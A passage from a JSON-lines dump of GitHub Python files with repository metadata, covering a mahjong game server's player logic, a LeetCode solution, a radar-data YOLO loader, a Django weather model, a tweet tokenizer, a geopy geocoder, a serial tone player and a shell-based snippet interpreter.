value.room_id\n elif key in (\"session\", \"vote_timer\"):\n continue\n elif key == \"machine\":\n data[key] = [None, None]\n if value.last_state:\n data[key][0] = value.last_state.name\n if value.cur_state:\n data[key][1] = value.cur_state.name\n elif key == \"proto\":\n val = self.proto.dump()\n if type(val) is types.StringType:\n data[key] = unicode(val, errors='ignore')\n else:\n data[key] = val\n else:\n if type(value) is types.StringType:\n data[key] = unicode(value, errors='ignore')\n else:\n data[key] = value\n # print \"player\", data\n redis.set(\"player:{0}\".format(self.uuid), json.dumps(data))\n self.table.dumps()\n\n def delete(self):\n redis.delete(\"player:{0}\".format(self.uuid))\n\n def add_prompt(self, prompt, rule, op_card, ref_cards=None):\n \"\"\"\n 提示包含以下字段信息\n 规则(服务端自己持有)\n 提示ID(客户端选择完后返回给服务器的ID, 这个字段是唯一的)\n 提示类型\n 操作牌(每一个提示都唯一对应一张操作牌, 由于关联牌的多样性,操作牌是可以重复的)\n 关联牌(操作牌影响的相关牌,比如吃操作有N种吃法则,会有同一个操作牌对应N组关联牌)\n \"\"\"\n if ref_cards is None:\n ref_cards = []\n self.prompts |= prompt\n self.prompt_id += 1\n self.action_dict[self.prompt_id] = {\"rule\": rule, \"op_card\": op_card, \"ref_cards\": ref_cards, \"prompt\": prompt}\n #print 'add prompt:',prompt, \"ref_cards\",ref_cards\n\n def del_prompt(self):\n self.prompts = 0\n self.action_dict = {}\n self.prompt_id = 0\n\n # noinspection PyTypeChecker\n def highest_prompt_weight(self):\n max_weight = 0\n for i in self.action_dict.values():\n if i[\"prompt\"] > max_weight:\n max_weight = i[\"prompt\"]\n return max_weight\n\n def del_action(self):\n self.action_id = 0\n self.action_weight = 0\n self.action_rule = None\n self.action_ref_cards = None\n self.action_op_card = None\n\n def action(self, action_id):\n self.action_id = action_id\n action = self.action_dict[self.action_id]\n self.action_rule = action[\"rule\"]\n self.action_weight = action[\"prompt\"]\n self.action_ref_cards = action[\"ref_cards\"]\n self.action_op_card = action[\"op_card\"]\n # self.table.replay[\"procedure\"].append([{\"action\": action, \"seat\": self.seat}])\n self.del_prompt()\n\n def is_color_all(self):\n mask_color = []\n card_expt = [ZHONG, WEST, EAST, SOUTH, NORTH, FA, BAI]\n for card in self.cards_in_hand:\n if card not in card_expt:\n mask_color.append(card&0xf0)\n for card in self.cards_group:\n if card not in card_expt:\n mask_color.append(card&0xf0)\n if len(set(mask_color)) == 3:\n return True\n return False\n\n def is_open_door(self):\n #if len(self.cards_group) > 0:\n if len(self.cards_group) == self.kong_concealed_cnt * 4:\n return False\n return True\n\n def ready_hand(self, isTing = False):\n if self.isTing:\n return\n if not isTing:\n return\n cards = is_ready_hand(self)\n # cards,键:牌,值:(分,[类型])\n self.cards_ready_hand = cards\n if not cards:\n return\n # 删除win_card_group不胡的牌\n for temp_keys in self.win_card_group.keys():\n if temp_keys not in self.cards_ready_hand.keys():\n self.win_card_group.pop(temp_keys)\n proto = game_pb2.ReadyHandResponse()\n for i in cards:\n flag = True\n if flag:\n c = proto.card.add()\n c.card = i\n if isTing:\n proto.ting_tag = 1\n send(READY_HAND, proto, self.session)\n self.table.logger.info(\"player {0} ready hand cards {1}\".format(self.seat, cards))\n\n def clear_for_round(self):\n self.del_prompt()\n self.del_action()\n self.score = 0\n self.gang_pao_card = 0\n self.can_look_bao = False\n self.cards_in_hand = []\n self.cards_group = []\n self.cards_discard = []\n self.cards_chow = []\n self.cards_pong = []\n self.cards_kong_exposed = []\n self.cards_kong_concealed = []\n self.cards_ready_hand = []\n self.cards_draw_niao = []\n self.cards_win = []\n self.last_gang_card = 0\n\n self.kong_exposed_cnt = 0\n self.kong_concealed_cnt = 0\n self.kong_discard_cnt = 0\n self.kong_pong_cnt = 0\n self.miss_win_cards = []\n self.miss_pong_cards = []\n self.miss_gang_cards = []#\n self.draw_card = 0\n self.kong_pong_cnt = 0\n self.draw_cnt = 0\n self.gang_score = 0\n self.last_discard_kong = None\n self.is_yao_fail = False\n self.last_yao_card = 0\n self.isTing = False\n self.isJia = False\n self.tmpTingCard = 0 # 用于临时存储听牌判断中的添加牌\n self.win_card_group = {}\n # 胡的牌\n self.win_card = 0\n # 胡牌类型:点炮 自摸\n self.win_type = 0\n self.miss_gang_cards = []\n # 胡牌牌型:将将胡 | 碰碰胡 | 七小对 | 。。。\n self.win_flags = []\n self.offline_cmd_stack = []\n # self.had_check_kong = False\n # self.had_check_ting_kong = False\n # 已经胡的牌\n self.has_win_cards = {}\n self.kong_times = 0\n self.temp_total_score = 0\n self.has_win_cards_list = []\n self.dumps()\n\n def clear_for_room(self):\n self.clear_for_round()\n self.total = 0\n self.miss_gang_cards = []\n self.miss_win_cards = []#\n self.miss_pong_cards = []##\n self.kong_total = 0\n self.win_total_cnt = 0\n self.win_draw_cnt = 0\n self.win_discard_cnt = 0\n self.pao_cnt = 0\n self.is_owner = 0\n self.total_chong_bao = 0\n self.big_win_draw_cnt = 0\n self.big_win_discard_cnt = 0\n self.small_win_draw_cnt = 0\n self.small_win_discard_cnt = 0\n self.is_yao_fail = False\n self.isTing = False\n self.isJia = False\n self.tmpTingCard = 0 # 用于临时存储听牌判断中的添加牌\n self.win_card_group = {}\n\n def online_status(self, status):\n self.is_online = status\n proto = game_pb2.OnlineStatusResponse()\n proto.player = self.uuid\n proto.status = self.is_online\n self.table.logger.info(\"player {0} toggle online status {1}\".format(self.seat, status))\n for i in self.table.player_dict.values():\n if i.uuid == self.uuid:\n continue\n send(ONLINE_STATUS, proto, i.session)\n\n def reconnect(self):\n proto = game_pb2.ReconnectResponse()\n proto.room_id = self.table.room_id\n proto.kwargs = self.table.kwargs\n proto.owner = self.table.owner\n proto.room_status = table_state_code_map[self.table.state]\n proto.current_round = self.table.cur_real_round\n proto.dealer = self.table.dealer_seat\n active_seat = self.table.active_seat\n #print 'active seat:', active_seat,self.table.seat_dict[active_seat].state\n # 对于前端只有活动玩家处于出牌状态才发送指示灯\n if active_seat >= 0 and \\\n (self.table.seat_dict[active_seat].state == \"DiscardState\" or self.table.seat_dict[active_seat].state == \"PromptDrawState\"\n or self.table.seat_dict[active_seat].state == \"PromptDiscardState\"):\n proto.active_seat = self.table.active_seat\n else:\n proto.active_seat = -1\n #print 'active seat:', proto.active_seat, 'self.table.active_seat', self.table.active_seat\n proto.discard_seat = self.table.discard_seat\n proto.rest_cards = self.table.cards_total if self.table.state == \"InitState\" else len(self.table.cards_on_desk)\n proto.code = 1\n last_draw = 0\n if len(self.cards_in_hand) % 3 == 2 and self.draw_card in self.cards_in_hand:\n last_draw = self.draw_card\n\n proto.extra = json.dumps({'last_draw':last_draw})\n\n log = {\n \"description\": \"reconnect\",\n \"room_id\": self.table.room_id,\n \"kwargs\": self.table.kwargs,\n \"owner\": self.table.owner,\n \"owner_info\": self.table.owner_info,\n \"cur_round\": self.table.cur_real_round,\n \"room_status\": table_state_code_map[self.table.state],\n \"dealer\": self.table.dealer_seat,\n \"active_seat\": self.table.active_seat,\n \"discard_seat\": self.table.discard_seat,\n \"rest_cards\": len(self.table.cards_on_desk),\n \"code\": 1,\n \"players\": [],\n \"last_draw\" : last_draw,\n }\n\n for i in self.table.player_dict.values():\n player = proto.player.add()\n player.seat = i.seat\n player.player = i.uuid\n player.info = i.info\n player.status = player_state_code_map[i.state]\n player.is_online = i.is_online\n player.total_score = i.total\n player.is_ting = i.isTing\n player.is_jia = i.isJia\n player.last_draw_card = self.draw_card\n if i.is_yao_fail:\n player.is_yao_fail = 1\n else:\n player.is_yao_fail = 0\n\n for c in i.cards_in_hand:\n cards = player.cards_in_hand.add()\n if i.uuid == self.uuid:\n cards.card = c\n else:\n cards.card = 0\n for c in i.cards_discard:\n cards = player.cards_discard.add()\n cards.card = c\n for c in i.cards_kong_exposed:\n cards = player.cards_kong_exposed.add()\n cards.card = c\n for c in i.cards_kong_concealed:\n cards = player.cards_kong_concealed.add()\n cards.card = c\n for c in i.cards_pong:\n cards = player.cards_pong.add()\n cards.card = c\n for c in i.cards_chow:\n cards = player.cards_chow.add()\n cards.card = c\n\n log[\"players\"].append({\n \"seat\": i.seat,\n \"player\": i.uuid,\n \"info\": i.info,\n \"status\": player_state_code_map[i.state],\n \"is_online\": i.is_online,\n \"total\": i.total,\n\n \"cards_in_hand\": i.cards_in_hand,\n \"cards_discard\": i.cards_discard,\n \"cards_Kong_exposed\": i.cards_kong_exposed,\n \"cards_Kong_concealed\": i.cards_kong_concealed,\n \"cards_pong\": i.cards_pong,\n \"cards_chow\": i.cards_chow,\n })\n send(RECONNECT, proto, self.session)\n self.table.logger.info(log)\n # 必须屏蔽掉以下代码否则重连之前点过然后重连之后又出现提示\n # 此时再点听则无任何效果客户端显示为卡住\n # from rules.player_rules.ting import TingRule\n # if not self.isTing:\n # r = TingRule()\n # r.condition(self)\n # 发送操作提示\n if self.action_dict:\n self.send_prompts()\n\n #print 'player id:', self.seat, self.uuid, ',isting:', self.isTing, 'ready len:', len(self.cards_ready_hand)\n # 发送听牌提示\n if self.isTing and self.cards_ready_hand:\n proto = game_pb2.ReadyHandResponse()\n proto.ting_tag = 1\n tmp_ready_hand = {}\n for i in self.cards_ready_hand:\n flag = False\n if self.isJia:\n if \"JIAHU\" in self.cards_ready_hand[i][1]:\n flag = True\n proto.ting_tag = 2\n elif self.table.conf.bian_hu_jia() and \"BIANHU\" in self.cards_ready_hand[i][1]:\n flag = True\n proto.ting_tag = 2\n else:\n flag = False\n else:\n flag = True\n if flag:\n c = proto.card.add()\n if type(i) is types.IntType:\n c.card = i\n else:\n c.card = int(i)\n tmp_ready_hand[int(i)] = self.cards_ready_hand[i]\n self.cards_ready_hand = tmp_ready_hand\n send(READY_HAND, proto, self.session)\n #self.table.broadcast_change_bao()\n if self.table.dismiss_state:\n # 先弹出投票界面\n expire_seconds = int(dismiss_delay + self.table.dismiss_time - time.time())\n if expire_seconds <= 0:\n self.table.dismiss_room()\n return\n proto = game_pb2.SponsorVoteResponse()\n proto.room_id = self.table.room_id\n proto.sponsor = self.table.dismiss_sponsor\n proto.expire_seconds = expire_seconds\n send(SPONSOR_VOTE, proto, self.session)\n # 生成定时器\n if not self.vote_timer and self.uuid != self.table.dismiss_sponsor and not self.vote_state:\n proto_vote = game_pb2.PlayerVoteRequest()\n proto_vote.flag = True\n self.vote_timer = IOLoop().instance().add_timeout(\n self.table.dismiss_time + dismiss_delay, self.vote, proto_vote)\n # 遍历所有人的投票状态\n for player in self.table.player_dict.values():\n proto_back = game_pb2.PlayerVoteResponse()\n proto_back.player = player.uuid\n if player.vote_state is not None:\n proto_back.flag = player.vote_state\n send(VOTE, proto_back, self.session)\n self.table.send_last_card()\n\n def send_prompts(self):\n proto = game_pb2.PromptResponse()\n for k, v in self.action_dict.items():\n prompt = proto.prompt.add()\n prompt.action_id = k\n prompt.prompt = v[\"prompt\"]\n prompt.op_card.card = v[\"op_card\"]\n for c in v[\"ref_cards\"]:\n ref_card = prompt.ref_card.add()\n ref_card.card = c\n send(PROMPT, proto, self.session)\n self.table.logger.info(self.action_dict)\n\n def exit_room(self):\n if self.table.state == 'InitState':\n if self.table.conf.is_aa():\n #if self.table.cur_round <= 1:\n if self.table.total_round <= 1:\n if self.uuid == self.table.owner:\n self.dismiss_room()\n else:\n self.table.request.aa_refund(self.uuid, 0)\n self.table.request.exit_room(self.uuid)\n\n proto = game_pb2.ExitRoomResponse()\n proto.player = self.uuid\n proto.code = 1\n for player in self.table.player_dict.values():\n send(EXIT_ROOM, proto, player.session)\n\n self.table.logger.info(\"player {0} exit room\".format(self.uuid))\n\n self.delete()\n try:\n self.session.close()\n except Exception:\n pass\n del self.table.seat_dict[self.seat]\n del self.table.player_dict[self.uuid]\n self.table.dumps()\n self.table = None\n else:\n self.table.logger.info(\"player {0} exit room failed\".format(self.uuid))\n\n def dismiss_room(self):\n # 解散房间不重复响应\n if self.table.dismiss_state:\n return\n if self.table.state == \"InitState\":\n # 房间未开局直接由房主解散\n if self.uuid == self.table.owner:\n self.table.dismiss_room(False)\n else:\n proto = game_pb2.DismissRoomResponse()\n proto.code = 5003\n send(DISMISS_ROOM, proto, self.session)\n else:\n # 如果是房主则直接解散\n if self.uuid == self.table.owner:\n self.table.dismiss_room(False)\n return \n # 房间已开局则直接发起投票\n self.table.dismiss_state = True\n self.table.dismiss_sponsor = self.uuid\n self.table.dismiss_time = time.time()\n self.vote_state = True\n self.dumps()\n proto = game_pb2.SponsorVoteResponse()\n proto.room_id = self.table.room_id\n proto.sponsor = self.table.dismiss_sponsor\n proto.expire_seconds = dismiss_delay\n for player in self.table.player_dict.values():\n send(SPONSOR_VOTE, proto, player.session)\n if player.uuid == self.uuid:\n continue\n proto_vote = game_pb2.PlayerVoteRequest()\n proto_vote.flag = True\n player.vote_timer = IOLoop().instance().add_timeout(\n self.table.dismiss_time+dismiss_delay, player.vote, proto_vote)\n self.table.logger.info(\"player {0} sponsor dismiss room\".format(self.uuid))\n\n def vote(self, proto):\n IOLoop().instance().remove_timeout(self.vote_timer)\n self.dumps()\n self.vote_state = proto.flag\n self.table.logger.info(\"player {0} vote {1}\".format(self.uuid, self.vote_state))\n\n self.vote_timer = None\n proto_back = game_pb2.PlayerVoteResponse()\n proto_back.player = self.uuid\n proto_back.flag = proto.flag\n for k, v in self.table.player_dict.items():\n send(VOTE, proto_back, v.session)\n\n if proto.flag:\n for player in self.table.player_dict.values():\n if not player.vote_state:\n return\n self.table.dismiss_room()\n else:\n # 只要有一人拒绝则不能解散房间\n self.table.dismiss_state = False\n self.table.dismiss_sponsor = None\n self.table.dismiss_time = 0\n for player in self.table.player_dict.values():\n player.vote_state = None\n if player.vote_timer:\n IOLoop.instance().remove_timeout(player.vote_timer)\n player.vote_timer = None\n\n def ready(self):\n self.machine.trigger(ReadyState())\n\n def add_gang_num(self, fang, ming, an, discard_kong):\n self.kong_exposed_cnt += fang\n self.kong_pong_cnt += ming\n self.kong_concealed_cnt += an\n self.kong_discard_cnt += discard_kong\n\n def get_fang_gang_score(self):\n return 1\n","repo_name":"Joe9607/Pickup","sub_path":"logic/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":22947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41534505706","text":"#Leetcode 344. Reverse String\n#Write a function that reverses a string. The input string is given as an array of characters s\n# Examples:\n# Input: s = [\"h\",\"e\",\"l\",\"l\",\"o\"]\n# Input: s = [\"H\",\"a\",\"n\",\"n\",\"a\",\"h\"]\n\n# Follow up: Do not allocate extra space for another array. You must do this by modifying \n#the input array in-place with O(1) extra memory.\n\n\ndef reverseString(s: list):\n len2=len(s)\n for i in range(len2):\n s.insert(i,s.pop())\n return(s)\n \n\n#test\ns = [\"h\",\"e\",\"l\",\"l\",\"o\"]\nreverseString(s)\n\ns = [\"H\",\"a\",\"n\",\"n\",\"a\",\"h\"]\nreverseString(s)\n","repo_name":"melessawy/problem-solving","sub_path":"reverseString.py","file_name":"reverseString.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70479303602","text":"import numpy as np\nfrom utils.astyx_dataset import AstyxDataset\nimport utils.astyx_bev_utils as bev_utils\nimport utils.config as cnf\nimport torch\nimport torch.nn.functional as F\n\ndef resize(image, size):\n image = F.interpolate(image.unsqueeze(0), size=size, mode=\"nearest\").squeeze(0)\n return image\n\nclass AstyxYOLODataset(AstyxDataset):\n\n def __init__(self, root_dir, split='train', mode ='EVAL', radar = False):\n super().__init__(root_dir=root_dir, split=split)\n\n self.split = split\n self.radar = radar\n\n assert mode == 'EVAL', 'Invalid mode: %s' % mode\n self.mode = mode\n\n self.sample_id_list = [int(sample_id) for sample_id in self.image_idx_list]\n\n print('Load %s samples from %s' % (mode, self.dataset_dir))\n print('Done: total %s samples %d' % (mode, len(self.sample_id_list)))\n\n def __getitem__(self, index):\n \n sample_id = int(self.sample_id_list[index])\n\n if self.mode in ['TRAIN', 'EVAL']:\n \n \n objects = self.get_label(sample_id) \n calib = self.get_calib(sample_id)\n \n if self.radar:\n # If we use RADAR we do only load the data\n pcData = self.get_radar(sample_id)\n else:\n # If we use LiDAR we have to transform the point cloud to the RADAR coordinate system\n pcData = self.get_lidar(sample_id)\n intensity = pcData[:,3].reshape(-1,1) # save the intensity\n pcData = calib.lidar2ref(pcData[:,0:3]) # transformation from lidar coordinatesystem to radar coordinatesystem\n pcData = np.concatenate([pcData,intensity],1) # concatenate the transformed the point cloud with the intensity\n \n # Read all bounding boxes\n labels, noObjectLabels = bev_utils.read_labels_for_bevbox(objects)\n \n # Remove points of the point cloud that are not in the range we are focusing\n b = bev_utils.removePoints(pcData, cnf.boundary)\n # Generate the BEV map\n rgb_map = bev_utils.makeBVFeature(b, cnf.DISCRETIZATION, cnf.boundary)\n # Transform the groundtruth such that it fits for the model\n target = bev_utils.build_yolo_target(labels)\n\n ntargets = 0\n # count the number of ground truth objects, because in build_yolo_target an array that is lager than the number of objects is generated\n for i, t in enumerate(target):\n if t.sum(0):\n ntargets += 1 \n targets = torch.zeros((ntargets, 8))\n # store the targets now in an array that fits the number of ground truth objects\n for i, t in enumerate(target):\n if t.sum(0):\n targets[i, 1:] = torch.from_numpy(t)\n \n img = torch.from_numpy(rgb_map).type(torch.FloatTensor) # cast to torch.tensor\n \n return sample_id, img, targets\n\n def __len__(self):\n return len(self.sample_id_list)\n\n def collate_fn(self, batch):\n # this function defines how batches should be concatenated\n paths, imgs, targets = list(zip(*batch))\n # Remove empty placeholder targets\n targets = [boxes for boxes in targets if boxes is not None]\n # Add sample index to targets\n for i, boxes in enumerate(targets):\n boxes[:, 0] = i\n targets = torch.cat(targets, 0)\n # Resize images to input shape\n imgs = torch.stack([resize(img, cnf.BEV_WIDTH) for img in imgs])\n return paths, imgs, targets\n","repo_name":"BerensRWU/Complex_YOLO","sub_path":"utils/astyx_yolo_dataset.py","file_name":"astyx_yolo_dataset.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"18859242326","text":"from django.db import models\nfrom weather.dovsoa import get_dovsoa, get_dovsoa_word, get_time_of_day\n# from weather.meteo_info import\n\n\nfrom django.utils import timezone\n# from django.utils import timezone\n\n# Create your models here.\n\n\nclass Weather(models.Model):\n\n city_name = models.CharField(\n max_length=50,\n default='Moscow',\n verbose_name='Название города',\n editable=False,\n )\n\n\n dtime = models.DateTimeField(\n null=True,\n blank=True,\n verbose_name='Время',\n editable=False,\n )\n\n TIMEOFDAY_CHOICES = (\n ('morning', 'утро'),\n ('day', 'день'),\n ('evening', 'вечер'),\n ('night', 'ночь'),\n ('', 'вычисляется')\n )\n\n time_of_day = models.CharField(\n max_length=50,\n blank=True,\n choices=TIMEOFDAY_CHOICES,\n verbose_name='Время суток',\n default='',\n )\n\n wind_speed = models.FloatField(\n blank=False,\n verbose_name='Скорость ветра (м/с)',\n default=0,\n )\n\n WIND_DIRECTION_CHOICES = (\n ('N', 'северный'),\n ('S', 'южный'),\n ('E', 'восточный'),\n ('W', 'западный'),\n ('NE', 'северо-восточный'),\n ('NW', 'северо-западный'),\n ('SW', 'юго-западный'),\n ('SE', 'юго-восточный'),\n )\n\n wind_direction = models.CharField(\n max_length=20,\n blank=True,\n choices=WIND_DIRECTION_CHOICES,\n verbose_name='Направление ветра',\n default='NW',\n )\n\n air_t = models.IntegerField(\n blank=False,\n verbose_name='Температура воздуха (C)',\n default=20,\n )\n\n # (1 атм = 760 мм рт. ст.)\n atmospheric_pressure = models.IntegerField(\n blank=False,\n verbose_name='Атмосферное давление (мм рт. ст.)',\n default=760,\n )\n\n is_snow = models.BooleanField(\n blank=True,\n verbose_name='Наличие снежного покрова',\n default=False,\n )\n\n CLOUD_SCORE_CHOICES = zip(range(0, 11), range(0, 11))\n\n cloud_score = models.PositiveSmallIntegerField(\n verbose_name='Облачность (балл)',\n choices=CLOUD_SCORE_CHOICES,\n default=0,\n blank=True,\n )\n\n DOVSOA_CHOICES = (\n ('из', 'изотермия'),\n ('ин', 'инверсия'),\n ('к', 'конверсия'),\n ('', 'вычисляется'),\n )\n\n dovsoa = models.CharField(\n max_length=10,\n blank=True,\n choices=DOVSOA_CHOICES,\n default='',\n null=True,\n verbose_name='Cтепень вертикальной устойчивости воздуха',\n )\n\n def get_atmospheric_pressure_in_atm(self):\n return round(self.atmospheric_pressure/760, 4)\n\n def __str__(self):\n return 'ветер: {} м/с; температура: {} град. С; СВУВ: {}'.format(\n self.wind_speed,\n self.air_t,\n self.get_dovsoa_display(),\n )\n\n class Meta:\n db_table = 'weather'\n verbose_name = 'Погодные условия'\n verbose_name_plural = 'Погодные условия'\n\n\n\nfrom django.db.models.signals import pre_save, post_init\nfrom django.dispatch import receiver\n\n\n# @receiver(pre_save, sender=Weather)\n# def calc_time_of_day(sender, instance, **kwargs):\n# if not instance.time_of_day:\n# if not instance.crash_dtime:\n# instance.crash_dtime = timezone.now()\n# instance.time_of_day = get_time_of_day(instance.crash_dtime)\n# print('time of day {}'.format(instance.time_of_day))\n\n\n\n@receiver(pre_save, sender=Weather)\ndef calc_dovsoa(sender, instance, **kwargs):\n if instance.time_of_day:\n\n instance.dovsoa = get_dovsoa(time_of_day=instance.time_of_day, wind_speed=instance.wind_speed, cloudiness=False,\n snow=False)\n print('dovsoa {}'.format(instance.dovsoa))","repo_name":"manchos/umlkrest1","sub_path":"weather/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9479949234","text":"import re\nfrom emoji import *\nimport string \nimport Levenshtein as lev\nimport pandas as pd\n\nEMOJI_SET = set()\n\nfor emoji in UNICODE_EMOJI:\n EMOJI_SET.add(emoji)\n\ndef split_emojis(s):\n \"\"\"\n Split emojis in a sentence into separate tokens. Note that some complex emojis are still mangled.\n \"\"\"\n tokens = []\n token = \"\"\n for letter in s:\n if letter in EMOJI_SET:\n if token != \"\": \n tokens.append(token)\n token = \"\"\n tokens.append(letter)\n else:\n token += letter\n if token != \"\": tokens.append(token)\n return tokens\n\ndef basic_tokenize(s):\n \"\"\"\n Remove stop words, skip links and split on punctuation.\n \"\"\"\n s = s.lower()\n # replace certain punctuation w/ space\n for substr in [\":\",\"'\",\",\", \"(\", '\"', \")\", \"’\", \"‘\", \"‼\", \"”\", \"?\", \"“\", \"‚\"]:\n s = s.replace(substr, \" \")\n\n tokens = s.strip().split()\n \n return tokens\n\ndef question_tokenize(s):\n if(isinstance(s, list)): return(s)\n \n # replace certain punctuation w/ space\n for substr in [\"?\", \"!\"]:\n s = s.replace(substr, \" \"+substr)\n \n tokens = basic_tokenize(s)\n # remove introductory exclaimation if present\n try:\n index = tokens.index('!')\n tokens = tokens[index+1:]\n except ValueError:\n pass\n \n return tokens\n\ndef response_tokenize(s):\n \"\"\"\n Split to preserve emojis as their own tokens.\n \"\"\"\n if(isinstance(s, list)): return(s)\n tokens = basic_tokenize(s)\n \n # remove special cases\n cleaned_tokens = []\n for token in tokens:\n if \"http\" in token or \"www\" in token: continue\n if \"@\" in token: continue\n new_token = token.translate(str.maketrans('', '', string.punctuation))\n if new_token != \"\":\n cleaned_tokens.append(new_token)\n tokens = cleaned_tokens\n \n true_tokens = []\n for token in tokens:\n true_tokens.extend(split_emojis(token))\n return [token for token in true_tokens if token != '']\n\ndef find_start_end(response_tokens, answer):\n assert(type(response_tokens) == list)\n if pd.isnull(answer) or answer == \"not possible\": return None\n\n answer_tokens = response_tokenize(answer)\n answer_length = len(answer_tokens)\n if answer_length == 0: return None\n start_token = answer_tokens[0]\n if start_token in ['a', 'an', 'the', 'in', 'on']:\n if len(answer_tokens) == 1: return None\n start_token = answer_tokens[1]\n answer_length -= 1\n \n def find_token(token_list, target_token, threshold=0.9):\n for idx, token in enumerate(token_list):\n # Note: tried the partial_ratio from fuzzywuzzy package \n # but it gives false positives for extremely short strings\n similarity = lev.ratio(token, target_token)\n #print(\"{} vs {}: {}\".format(token, target_token, similarity))\n if similarity >= threshold:\n return idx \n return None\n\n start_idx = find_token(response_tokens, start_token)\n if start_idx is None:\n return None\n if answer_length == 1: return start_idx, start_idx\n end_idx = find_token(response_tokens[start_idx+1:], answer_tokens[-1]) \n if end_idx is None: \n return None\n end_idx += start_idx + 1 # reference relative to start of string\n \n return start_idx, end_idx\n\ndef extract_answer(response_tokens, span):\n if span is None: return None\n return response_tokens[span[0]:span[1]+1]","repo_name":"rachel-1/qa_plausibility","sub_path":"data_processing/custom_tokenizer.py","file_name":"custom_tokenizer.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"31200421634","text":"x=0\r\ncount=0\r\ns=med=maior=menor=0\r\nuser='S'\r\nwhile user=='S':\r\n x = int(input('Digite um número: '))\r\n count+=1\r\n s+=x\r\n if count==1:\r\n maior = menor = x\r\n else:\r\n if x>maior:\r\n maior = x\r\n if x<menor:\r\n menor = x\r\n user=str(input('Deseja digitar outro? [S/N] ')).upper().strip()[0]\r\n if user!='S' and user!='N':\r\n user = str(input('Opção inválida! Digite S ou N: ')).upper().strip()[0]\r\nmed = (s / count)\r\nprint('A média dos {} números digitados é igual a {:.2f}'.format(count,med))\r\nprint('O maior número digitado foi {} e o menor foi {}'.format(maior, menor))\r\nprint('FIM')\r\n","repo_name":"nomored/PythonExs","sub_path":"ex065.py","file_name":"ex065.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39284977072","text":"from urllib import urlencode\nfrom urllib2 import urlopen\nimport xml\nfrom xml.parsers.expat import ExpatError\n\nfrom geopy.geocoders.base import Geocoder,GeocoderError,GeocoderResultError\nfrom geopy import Point, Location, util\n\nclass MediaWiki(Geocoder):\n def __init__(self, format_url, transform_string=None):\n \"\"\"Initialize a geocoder that can parse MediaWiki pages with the GIS\n extension enabled.\n\n ``format_url`` is a URL string containing '%s' where the page name to\n request will be interpolated. For example: 'http://www.wiki.com/wiki/%s'\n\n ``transform_string`` is a callable that will make appropriate\n replacements to the input string before requesting the page. If None is\n given, the default transform_string which replaces ' ' with '_' will be\n used. It is recommended that you consider this argument keyword-only,\n since subclasses will likely place it last.\n \"\"\"\n self.format_url = format_url\n\n if callable(transform_string):\n self.transform_string = transform_string\n\n @classmethod\n def transform_string(cls, string):\n \"\"\"Do the WikiMedia dance: replace spaces with underscores.\"\"\"\n return string.replace(' ', '_')\n\n def geocode(self, string):\n if isinstance(string, unicode):\n string = string.encode('utf-8')\n wiki_string = self.transform_string(string)\n url = self.format_url % wiki_string\n return self.geocode_url(url)\n\n def geocode_url(self, url):\n util.logger.debug(\"Fetching %s...\" % url)\n page = urlopen(url)\n name, (latitude, longitude) = self.parse_xhtml(page)\n return (name, (latitude, longitude)) \n\n def parse_xhtml(self, page):\n soup = isinstance(page, BeautifulSoup) and page or BeautifulSoup(page)\n\n meta = soup.head.find('meta', {'name': 'geo.placename'})\n name = meta and meta['content'] or None\n\n meta = soup.head.find('meta', {'name': 'geo.position'})\n if meta:\n position = meta['content']\n latitude, longitude = util.parse_geo(position)\n if latitude == 0 or longitude == 0:\n latitude = longitude = None\n else:\n latitude = longitude = None\n\n return (name, (latitude, longitude))\n","repo_name":"golismero/golismero","sub_path":"thirdparty_libs/geopy/geocoders/wiki_gis.py","file_name":"wiki_gis.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":838,"dataset":"github-code","pt":"75"} +{"seq_id":"27620480711","text":"\n\ndef playTone(freq, dur, punct, serial):\n freqCode = repr(freq)\n durCode = repr(dur)\n punctCode = repr(punct)\n toWrite = freqCode + \"#\" + durCode + '#' + punctCode + '#'\n toWrite = toWrite.encode()\n serial.write(toWrite)\n serial.flush()\n return serial.readline()","repo_name":"SeSauer/FunWithMusic","sub_path":"FunWithMusicPython/SerialPlayer.py","file_name":"SerialPlayer.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13432366304","text":"from grimoire.desktop.clipboard import Clipboard\nfrom grimoire.shell import shell\n\nfrom search_run.exceptions import CommandDoNotMatchException\nfrom search_run.interpreter.base import BaseInterpreter\n\n\nclass SnippetInterpreter(BaseInterpreter):\n def __init__(self, cmd, context):\n self.context = context\n\n if type(cmd) is dict and \"snippet\" in cmd:\n self.cmd = cmd\n return\n\n raise CommandDoNotMatchException(\n f\"Not Valid {self.__class__.__name__} command {cmd}\"\n )\n\n def interpret_default(self):\n Clipboard().set_content(self.cmd[\"snippet\"])\n\n if \"type-it\" in self.cmd:\n snippet = self.apply_directory(self.cmd[\"snippet\"])\n shell.run(f\"setxkbmap ; xdotool type '{snippet}'\")\n shell.run(f\"xdotool key Return \")\n\n return\n\n def copiable_part(self):\n return self.cmd[\"snippet\"]\n","repo_name":"thallysrc/PythonSearch","sub_path":"search_run/interpreter/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"5797487178","text":"from django.contrib import admin\n\nfrom .models import Follow, User\n\n\n@admin.register(User)\nclass UserAdmin(admin.ModelAdmin):\n \"\"\"User admin zone settings.\"\"\"\n list_display = ('username', 'email', 'first_name', 'last_name',\n 'recipe_count', 'follower_count')\n search_fields = ('username', 'email')\n list_filter = ('first_name', 'last_name')\n ordering = ('username', )\n empty_value_display = '-пусто-'\n\n def recipe_count(self, obj):\n return 